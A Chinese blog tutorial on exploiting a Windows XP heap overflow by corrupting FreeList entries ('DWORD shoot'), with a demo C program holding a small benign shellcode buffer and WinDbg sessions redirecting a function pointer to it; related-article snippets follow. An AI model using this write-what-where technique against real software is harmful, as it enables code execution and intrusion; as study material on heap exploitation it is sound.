xp下堆溢出DWORD SHOOT---狙击空闲表

2024-01-11 03:59

本文主要是介绍xp下堆溢出DWORD SHOOT---狙击空闲表,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

   前面写过通过堆溢出利用快表,这次我的目标是利用空闲表。千万不要觉得这是炒作话题,利用空闲表比利用快表要复杂很多,因此希望读者不要在开头就弃篇。另外本文的定位是读者已经看过Oday安全软件漏洞第5章和软件调试第23章相关内容,对windows堆块管理有一定的认知。

    正式开始前,先来看个重要的数据结构LIST_ENTRY--双向链表的链接节点_HEAP!FreeLists[128]数组的数组元素正是这样的元素:

typedef struct _LIST_ENTRY
{struct _LIST_ENTRY* FLink;struct _LIST_ENTRY* BLink;
}LIST_ENTRY;
    随着大量容器库的涌现,这种原始的需要程序员自己维护内存的结构逐渐退居二线,但是R0的代码里它的身影依然到处可见,堆管理器也用这个结构管理堆块。为了便于读者理解及更好的阐述DWORD shoot的原理,我还是简单的介绍一下这个结构的用法。

//双向列表插入
void InsertTailList(PLIST_ENTRY  ListHead,PLIST_ENTRY  Entry)
{Entry->Blink = ListHead->Blink;Entry->Flink = ListHead;ListHead->Blink->Flink = Entry;ListHead->Blink = Entry;
}
//删除链表节点,狙击空闲表的精髓就是这个函数
unsigned char RemoveEntryList(PLIST_ENTRY  Entry)
{if(Entry->Flink == Entry)return 0;Entry->Flink->Blink = Entry->Blink;Entry->Blink->Flink = Entry->Flink;return 1;
}

    有了上面的铺垫,我开始继续介绍狙击空闲链表。示例程序如下(其实是对0day安全第五章的代码略作改动):

#include <stdio.h>typedef int (*PFN_fn)();int func1()
{printf("func1\n");return 0;
}int main(int argc, char* argv[])
{/*lea eax,func1;jmp eax;*/char buff[] = {"\x90\x90\x90\x90\x90\x90\x90\x90\x8D\x05\xCC\x10\x40\xCC\xFF\xE0"};PFN_fn execStack = NULL;printf("execStack:%08x\nbuff:%08x\nfunc1:%08x\n",&execStack,buff,func1);buff[10] = 0x00; //buff[10]本应该是0x00,但初始化字符串数组时遇到0x00会截断后面的字符串,因此需要在初始化之前写个非零值,然后再改回来buff[13] = 0x00;{HLOCAL h1, h2,h3,h4,h5,h6;HANDLE hp;int i = 0;hp = HeapCreate(0, 0x1000, 0x10000);h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h6 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);HeapFree(hp, 0, h1);HeapFree(hp, 0, h3);HeapFree(hp, 0, h5);_asm int 0x3;h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); //a)}(*execStack)();return 0;
}

   重要的一点:创建堆时,如果标记堆为可扩展堆,则会启动快表分配,影响这次实验的过程(前面两篇xp下调试堆溢出 就是以HeapCreate(0,0,0);的形式创建扩展堆,进而溢出快表)。而这次代码中用HeapCreate(0,0x1000,0x10000);的形式创建不可扩展堆。

    先调试正常情况下从空闲表分配堆块的流程(执行到a处时空闲表FreeList[2]的变化):

1).程序从int 3异常返回时:

0:000> p
push    esi ;向堆栈中传入堆句柄
0:000> r @esi
esi=003a0000 ;CreateHeap创建的堆句柄
0:000> p
call    edi {ntdll!RtlAllocateHeap (7c9300a4)}
0:000> dt _PEB @$peb
ntdll!_PEB
+0x088 NumberOfHeaps    : 7
+0x090 ProcessHeaps     : 0x7c99cfc0  -> 0x00140000 Void
0:000> dd 0x7c99cfc0 L6
7c99cfc0  00140000 00240000 00250000 00380000
7c99cfd0  003a0000 003b0000
0:000> dt _HEAP 003a0000 ;查看堆的空闲列表数组.数组项是大小为8B的LIST_ENTRY,因此FreeList[2]地址为0x3a0188
ntdll!_HEAP
+0x178 FreeLists        : [128] _LIST_ENTRY [ 0x3a06e8 - 0x3a06e8 ]
0:000> dd 3a0178 
003a0178  003a06e8 003a06e8 003a0180 003a0180
<span style="color:#ff0000;">003a0188  003a0688 003a06c8</span> 003a0190 003a0190
2).程序调用HeapAlloc时会以FreeList[2]->Blink参数调用RemoveEntryList,并执行如下操作:

Entry->Flink->Blink = Entry->Blink;
Entry->Blink->Flink = Entry->Flink;
其中Entry就是上面提到的FreeList[2]->Blink:

0:000> dt _LIST_ENTRY 003a0188  
ntdll!_LIST_ENTRY[ 0x3a0688 - 0x3a06c8 ]+0x000 Flink            : 0x003a0688 _LIST_ENTRY [ 0x3a06a8 - 0x3a0188 ]+0x004 Blink            : 0x003a06c8 _LIST_ENTRY [ 0x3a0188 - 0x3a06a8 ]
;003a0188+0x04处内存的值是即将被参入RemoveEntryList作为参数Entry的freelist[2]->Blink
0:000> dd 003a0188+0x04 L1
003a018c  003a06c8;因为RemoveEntryList是对Entry->Flink和Entry->Blink进行操作,所以需要
;查看这两个指针变量的值
0:000> dt _LIST_ENTRY 0x003a06c8 ;RemoveEntryList的参数Entry
ntdll!_LIST_ENTRY[ 0x3a0188 - 0x3a06a8 ]+0x000 Flink            : 0x003a0188 _LIST_ENTRY [ 0x3a0688 - 0x3a06c8 ]+0x004 Blink            : 0x003a06a8 _LIST_ENTRY [ 0x3a06c8 - 0x3a0688 ]
;Entry->Flink的内存地址为0x3a06c8+0x00,内存0x3a06c8处的值为0x3a0188
0:000> dd 0x3a06c8+0x00 L1 
003a06c8  003a0188 
Entry->Flink->Blink的内存地址为0x003a0188+0x04,内存0x003a018c处的值为0x3a06c8
0:000> dd 003a0188+0x04 L1
003a018c  003a06c8;Entry->Blink的内存地址为0x3a06c8+0x04,内存0x3a06cc处的值为0x3a06a8
0:000> dd 0x3a06c8+0x04 L1
003a06cc  003a06a8 
;Entry->Blink->Flink的内存地址为0x003a06a8+0x00,内存0x003a06a8处的值为0x3a06c8;下面分解Entry->Flink->Blink = Entry->Blink;的操作
;以Entry->Blink内存处的值(0x3a06a8)修改Entry->Flink->Blink内存(0x003a018c)处的值(0x3a06c8)
;可以预见当HeapAlloc返回,内存地址0x003a018c处的值为0x3a06a8;接着分解Entry->Blink->Flink = Entry->Flink;的操作
;以Entry->Flink内存处的值(0x3a0188)修改Entry->Blink->Flink内存(0x003a06a8)处的值(0x3a06c8)
;可以预见当HeapAlloc返回,内存地址0x003a06a8处的值为0x3a06188
0:000> p
list+0x10df:
004010df ff55fc          call    dword ptr [ebp-4]    ss:0023:0012ff7c=00000000
0:000> dd 0x003a018c L1
003a018c  003a06a8
0:000> dd 0x003a06a8 L1
003a06a8  003a0188
;换言之FreeList[2]->Flink的值为003a06a8
0:000> dd 3a0178
003a0178  003a06e8 003a06e8 003a0180 003a0180
003a0188  003a0688 003a06a8 003a0190 003a0190

    由于堆管理器并不验证Entry->Flink和Entry->Blink地址合法性,而执行Entry->Blink->Flink = Entry->Flink;时有一次将源地址赋值给目的指针变量的过程.因此留给我们做溢出的大好机会:一般以Entry->Blink->Flink作为执行者(会发生如 call [Entry->Blink->Flink]的情况),如c++的虚函数更或者本例中的函数指针(原因后面分析),Entry->Flink作为可执行代码的首地址赋给Entry->Blink->Flink。

    至于为什么选Entry->Blink->Flink作为执行者?得从2方面来回答,1)Entry->Blink->Flink和Entry->Flink->Blink都是被赋值的对象,因此有被恶意地址修改的可能,这点很重要;2)

Entry->Blink->Flink和Entry->Blink具有相同的内存地址,不用加上4B偏移,方便定位.正因为Entry->Blink->Flink和Entry->Blink具有相同的内存地址,所以我们只需要同时提供Entry->Flink和Entry->Blink的值(溢出用户堆内存,直到下一块空闲堆的LIST_ENTRY结构),就能完成一次DWORD shoot.

    基于上面结论,我们来手动修改Entry->Flink和Entry->Blink的值,使得execStack指向func1.已知execStack函数指针的地址为0x12ff7c(前面说的会被调用的执行者)buff的地址是0x12ff60(可执行段的地址).因此,套用上面的规律:修改地址Entry->Flink处的值为0x12ff60 修改地址Entry->Blink处的值为0x12ff7c然后执行.

0:000> dd 3a06c8 l2
003906c8  003a0188 003a06a8
0:000> ed 3a06c8 12ff60
0:000> ed 3a06cc 12ff7c
0:000> p
eax=003a06c8 ebx=77f51597 ecx=77f5180b edx=00000008 esi=003a0000 edi=77f516f8
eip=004010df esp=0012ff54 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
dworshoot+0x10df:
004010df ff55fc          call    dword ptr [ebp-4]    ss:0023:0012ff7c=0012ff60
0:000> dd 12ff7c ;经过HeapAlloc后execStack指向了可执行栈buff的首地址
0012ff7c  0012ff60 0012ffc0 004011d5 00000001 ;execStack NULL 12ff60
0:000> dd 12ff60 l4
0012ff60 90909090 0012ff7c 1000058d e0ff0040
最后贴上控制台输出结果,execStack执行buff中的shellcode向屏幕打印func1



这篇关于xp下堆溢出DWORD SHOOT---狙击空闲表的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/593097

相关文章

堆内存溢出的测试类——JVM学习笔记

记个笔记,手写一个测试类,模拟堆内存溢出。 /*** 堆内存溢出测试类* VM Agrs: -Xms10m -Xmx10m -XX:+HeapDumpOnOutOfMemoryError* @author lixiang* @date 2019年04月12日 - 14:44* @history 2019年04月12日 - 14:44 lixiang create.*/public class

记一次 OOM内存溢出案例

在linux中,出现killed的原因是系统资源不足或内存不足;当系统资源不足时,Linux内核也可以决定终止一个或多个进程,内存不足时会在系统的物理内存耗尽时触发killed,可以利用“dmesg | tail -7”命令来查看killed日志。     linux出现killed的原因是什么 触发Killed常见原因 当系统资源不足时,Linux 内核也可以决定终止一个或多个进程

C/C++堆溢出(stack overflow)的解决

问题 堆溢出(stack overflow) 解决 (1)在VS里面设置 【属性】/【链接器】/【系统】/【堆栈保留大小】 (2)通过代码 //第一个值是堆栈的保留空间//第二个值是堆栈开始时提交的物理内存大小。堆栈改变为100M。#pragma comment(linker,"/STACK:102400000,1024000")

Win XP获史诗升级,支持64位应用还能畅玩最新3A

在整个 Windows 发展历程中,不乏出现过一些让大家印象深刻甚至被不少人视为「白月光」的版本。 其中最让小忆印象深刻的还得是 2001 年 8 月正式发布的 Windows XP。 经典蓝天白云(Bliss 壁纸)、全新视窗外观和用户界面、沿用至今的最小化按钮,还有蜘蛛纸牌、扫雷等小游戏…… 这些都给老机民的过去留下了浓墨重彩的一笔。 当然,正如白月光永远只存在于记忆当

spark内存溢出问题

9090监控页面显示storage都没用(这里似乎只统计persist持久化的): 但是jmap -heap pid显示内存不够了: 然后报错:SparkException: Kryo serialization failed: Buffer overflow 解决办法:加大spark.driver.memory、spark.executor.memory、spark.kryos

STM32-HAL库串口DMA空闲中断的正确使用方式及SBUS信号解析

概述 STM32微控制器广泛用于嵌入式系统,其HAL(Hardware Abstraction Layer)库简化了硬件访问,提高了开发效率。在STM32中,使用DMA(Direct Memory Access)进行串口通信可以显著提高数据传输效率,减少CPU负载。本文将介绍如何在STM32中正确使用串口DMA空闲中断,并解析SBUS信号。 串口DMA空闲中断 在STM32中,串口DMA传输

EasyExcel导出数据量大导致内存溢出

一次性读入过多数据,如果内存不够大就会导致内存溢出,所以将数据分批处理,最后在EasyExcel导出的时候再汇总导出。至于接口耗时问题,就需要根据实际调整批次的最大数量。 /*** 全量导出工艺工时* @param response 请求信息*/@Overridepublic void exportEngineeringStandardWorkTime(HttpServletResponse

css文字溢出使用省略号

text-overflow: ellipsis;display: -webkit-box;-webkit-box-orient: vertical;-webkit-line-clamp: 1;height: 1.23rem;white-space:pre-wrap;

如何解决栈溢出

分类: Java 2011-01-13 10:56 3515人阅读 评论(0) 收藏 举报 thread java 存储 虚拟机 string c 1,什么是栈溢出? 因为栈一般默认为1-2m,一旦出现死循环或者是大量的递归调用,在不断的压栈过程中,造成栈容量超过1m而导致溢出。 2,解决方案: 方法一:用栈把递归转换成非递归 通常,一个

C++中关于DWORD

转载自百度知道 https://zhidao.baidu.com/question/480478149.html C++中使用DWORD不用声明,但是要加头文件Windows.h。 具体描述如下: DWORD 就是 Double Word, 每个word为2个字节的长度,DWORD 双字即为4个字节,每个字节是8位,共32位。DWORD的宏定义如下:     #define DWORD uns